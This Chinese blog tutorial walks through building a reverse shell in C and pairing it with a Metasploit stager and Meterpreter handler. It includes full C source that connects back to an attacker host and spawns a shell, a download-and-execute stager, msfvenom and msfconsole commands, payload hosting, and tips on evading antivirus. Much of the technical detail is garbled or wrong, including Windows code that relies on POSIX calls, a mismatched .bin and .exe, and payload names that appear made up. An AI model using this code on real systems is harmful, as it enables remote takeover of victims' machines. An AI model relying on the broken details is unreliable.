Metasploit C语言反弹如何实现?

99ANYc3cd6
预计阅读时长 35 分钟
位置: 首页 C语言 正文
  1. 手动编写C语言反弹Shell:这是理解其工作原理的最佳方式,我们将从头开始编写一个简单的TCP客户端,连接到攻击者的监听端口并执行命令。
  2. 与Metasploit集成:我们将把手动编写的代码进行修改,使其能够被Metasploit的payload生成器(如msfpayloadmsfvenom)使用,并最终生成一个可执行的.exe文件。

第一部分:手动编写C语言反弹Shell

一个反弹Shell的核心功能是:

metasploit c语言反弹
(图片来源网络,侵删)
  1. 作为TCP客户端,主动连接到一个指定的IP地址和端口。
  2. 连接成功后,将标准输入、标准输出和标准错误都重定向到这个网络连接。
  3. 启动一个 shell(如 /bin/shcmd.exe),这样所有在shell中输入的命令都会通过网络发送给攻击者,所有命令的输出也会通过网络返回。

代码实现

以下是一个在Linux和Windows上都能工作的C语言反弹Shell代码,代码会自动检测操作系统并选择合适的shell。

// reverse_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
// Windows特定的头文件
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#endif
// 函数声明
void run_shell(int sock);
int main() {
    // Windows需要初始化Winsock
    #ifdef _WIN32
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        fprintf(stderr, "WSAStartup failed.\n");
        return 1;
    }
    #endif
    // --- 配置信息 ---
    // LHOST是你的攻击机IP地址
    char *ip = "127.0.0.1"; // !!! 请务必修改为你的公网/内网IP !!!
    // LPORT是你用来监听的端口
    int port = 4444;        // !!! 可以修改为你喜欢的端口 !!!
    int sock = 0;
    struct sockaddr_in serv_addr;
    // 创建socket
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("\n Socket creation error \n");
        return -1;
    }
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    // 将IP地址从字符串转换为网络地址结构
    if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) {
        printf("\nInvalid address/ Address not supported \n");
        return -1;
    }
    // 连接到服务器
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        printf("\nConnection Failed \n");
        return -1;
    }
    printf("[+] Connected to %s:%d\n", ip, port);
    // 运行shell
    run_shell(sock);
    // 关闭socket
    close(sock);
    // Windows需要清理Winsock
    #ifdef _WIN32
    WSACleanup();
    #endif
    return 0;
}
void run_shell(int sock) {
    char buffer[1024] = {0};
    char *cmd = "/bin/sh"; // Linux默认shell
    #ifdef _WIN32
    cmd = "cmd.exe";      // Windows默认shell
    #endif
    // 将标准输入、输出、错误都重定向到socket
    dup2(sock, 0); // stdin
    dup2(sock, 1); // stdout
    dup2(sock, 2); // stderr
    // 执行shell
    execl(cmd, cmd, NULL);
}

如何编译和测试

在你的攻击机上(Kali Linux)启动一个Netcat监听器:

# -l 表示监听, -p 指定端口, -v 显示详细信息, -n 禁用DNS解析
nc -lvnp 4444

在受害者机器上编译并运行C代码:

  • 在Linux上:
    gcc reverse_shell.c -o reverse_shell
    ./reverse_shell
  • 在Windows上: 你需要一个GCC编译器,比如MinGW,打开命令提示符或PowerShell,
    gcc reverse_shell.c -o reverse_shell.exe
    reverse_shell.exe

观察结果:

metasploit c语言反弹
(图片来源网络,侵删)
  • 当你在受害者机器上运行程序后,它会尝试连接到你攻击机上 nc 监听的 4444 端口。
  • 一旦连接成功,你的 nc 监听器窗口就会出现一个交互式的shell,你可以输入任何命令(如 whoami, ls, pwd),这些命令会在受害者机器上执行,并将结果返回给你。

第二部分:与Metasploit集成

Metasploit的强大之处在于它的模块化,我们可以将上面的C代码进行改造,使其成为一个“Stager”(加载器),这个Stager非常小,它的唯一工作就是从网络下载一个更完整的“Payload”(有效载荷)到内存中并执行它。

为什么需要这样做?

  1. 绕过AV/EDR:一个功能齐全的Payload(包含所有编码器、加密器)体积较大,特征码明显,而一个简单的TCP下载器体积很小,且行为模式(下载并执行)比较常见,更容易绕过一些简单的杀毒软件。
  2. 模块化:你可以根据需要选择不同的Payload,下载并执行一个Meterpreter Payload,或者一个普通的VNC Payload。

修改代码为Metasploit Stager

我们需要修改代码,让它从连接中读取数据,并将数据写入内存,然后执行内存中的代码。

// metasploit_stager.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#endif
// 函数声明
void download_and_execute(int sock);
int main() {
    #ifdef _WIN32
    WSADATA wsaData;
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    #endif
    char *ip = "127.0.0.1"; // !!! 修改为你的LHOST !!!
    int port = 4444;        // !!! 修改为你的LPORT !!!
    int sock = 0;
    struct sockaddr_in serv_addr;
    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        return -1;
    }
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) {
        return -1;
    }
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        return -1;
    }
    printf("[+] Connected to Metasploit handler.\n");
    download_and_execute(sock);
    close(sock);
    #ifdef _WIN32
    WSACleanup();
    #endif
    return 0;
}
void download_and_execute(int sock) {
    char buffer[1024] = {0};
    int bytes_read;
    // 循环从socket读取数据,直到EOF
    while ((bytes_read = recv(sock, buffer, sizeof(buffer), 0)) > 0) {
        // 我们将buffer中的数据写入内存
        // 然后执行它,这是一个简化的概念。
        // 实际的msfvenom生成的stager会处理更复杂的内存分配和执行。
        // 这个版本为了清晰,直接写入一个文件并执行,这只是为了演示。
        // 真正的in-memory stager不会写入磁盘。
        FILE *fp = fopen("downloaded_payload.bin", "wb");
        if (fp) {
            fwrite(buffer, 1, bytes_read, fp);
            fclose(fp);
            printf("[+] Downloaded %d bytes to disk.\n", bytes_read);
            system("downloaded_payload.exe"); // 执行下载的payload
            break; // 执行后退出循环
        }
    }
}

注意:上面的download_and_execute函数为了简化,将下载的Payload写入了磁盘。真正的Metasploit Stager是在内存中执行代码,绝不碰磁盘,这是其隐蔽性的关键,完整的实现需要用到VirtualAlloc (Windows) 或 mmap (Linux) 等API来分配可读、可写、可执行的内存区域,然后将接收到的数据复制进去,并创建一个线程或直接跳转到该内存地址执行,这涉及到更复杂的Shellcode编程。

使用Metasploit生成Payload

现在我们不需要手动编写那个复杂的内存加载器,Metasploit的msfvenom工具可以自动为我们生成一个包含所有必要功能的、经过编码的Payload。

在你的攻击机上启动Metasploit控制台:

msfconsole

使用msfvenom生成Payload

我们将使用windows/meterpreter/reverse_tcp这个Payload作为最终要下载执行的内容,并生成一个Windows的exe文件。

msf6 > use windows/meterpreter/reverse_tcp
msf6 exploit(windows/meterpreter/reverse_tcp) > set LHOST 192.168.1.10  # !!! 设置为你的攻击机IP !!!
LHOST => 192.168.1.10
msf6 exploit(windows/meterpreter/reverse_tcp) > set LPORT 4444          # 设置为监听端口
LPORT => 4444
msf6 exploit(windows/meterpreter/reverse_tcp) > set payload windows/meterpreter/reverse_tcp_http # 使用HTTP传输更隐蔽
payload => windows/meterpreter/reverse_tcp_http
msf6 exploit(windows/meterpreter/reverse_tcp_http) > generate -t exe -o /tmp/payload.exe
[*] Writing 716032 bytes to /tmp/payload.exe...
[*] EXE written to /tmp/payload.exe

提示windows/meterpreter/reverse_tcp_http 会生成一个通过HTTP协议与Metasploit通信的Payload,这比直接的TCP连接更容易通过防火墙。

生成一个简单的Stager

我们生成一个非常小的、作为“下载器”的Stager,这个Stager会连接到我们的Metasploit监听器,并请求下载上面生成的payload.exe

# 在你的Kali shell中,使用msfvenom单独生成stager
msfvenom -p windows/meterpreter/reverse_tcp_http LHOST=192.168.1.10 LPORT=4444 StagerURIPath=/payload.exe StagerVerifySSL=false -f c -o stager.c
  • -p: 指定最终的Payload。
  • StagerURIPath: 告诉Stager,从哪个URI路径下载完整的Payload,我们需要一个Web服务器来提供这个文件。
  • -f c: 输出格式为C语言代码。
  • -o stager.c: 输出到文件stager.c

设置一个Web服务器来托管Payload

在Kali上启动一个简单的Python HTTP服务器,将payload.exe放在/tmp目录下供下载。

cd /tmp
python3 -m http.server 80

http://<你的Kali_IP>/payload.exe 就可以访问到这个文件了。

启动Metasploit Handler

回到你的msfconsole,确保Handler已经配置好并启动。

msf6 exploit(windows/meterpreter/reverse_tcp_http) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
# 你需要重新设置一个Handler来等待连接
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_http
payload => windows/meterpreter/reverse_tcp_http
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set URIPATH /payload.exe
URIPATH => /payload.exe
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 192.168.1.10:4444 
[*] Using URL: http://192.168.1.10/payload.exe
[*] Local IP: http://192.168.1.10:8000/payload.exe
[*] Server started.

编译并运行Stager

stager.c文件(由msfvenom生成)拿到Windows受害者机器上,编译成.exe文件并运行。

# 在Windows受害者机器上
gcc stager.c -o stager.exe
stager.exe

获取Session

一旦你在受害者机器上运行了stager.exe,它会:

  1. 连接到你Kali的4444端口。
  2. Metasploit Handler会响应,并提供一个重定向到 http://<Kali_IP>/payload.exe 的HTTP响应。
  3. stager.exe会下载这个完整的payload.exe
  4. stager.exe在内存中执行payload.exe
  5. 一个Meterpreter Session将会在你的msfconsole中弹出!
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.20:54321) at 2025-10-27 10:30:00 +0800
msf6 exploit(multi/handler) > sessions -l
Active sessions
===============
  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/windows  WIN-7-PC\user @ WIN-7-PC 192.168.1.20:54321 -> 192.168.1.10:4444 (192.168.1.10)
msf6 exploit(multi/handler) > sessions -u 1
[*] Upgrading session ID: 1
[*  Starting reverse TCP handler to 192.168.1.10:4444 
[*  Meterpreter session 1 upgraded (x86/windows -> x86/windows/meterpreter!)
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer        : WIN-7-PC
OS              : Windows 7 (Build 7601, Service Pack 1, Multiprocessor Free)
Architecture    : x86
System Language : en_US
Meterpreter     : x86/windows
meterpreter >

总结与警告

  • 原理:手动编写反弹Shell有助于理解网络编程和系统调用,与Metasploit集成则是实际渗透测试中的高级技巧,通过分离Stager和Payload来提高隐蔽性和成功率。
  • 合法性请务必在授权的测试环境(如你自己的虚拟机或专门搭建的靶场)中进行这些操作,未经授权对任何计算机进行此类测试都是非法的。
  • 工具链:Metasploit (msfvenom) 是自动化这个过程的首选工具,它能处理复杂的编码、加密和内存加载等细节,让你专注于攻击本身。
-- 展开阅读全文 --
头像
dede批量Excel表格发布工具如何操作?
« 上一篇 今天
C语言getmemory笔试题常见陷阱有哪些?
下一篇 » 今天

相关文章

取消
微信二维码
支付宝二维码

目录[+]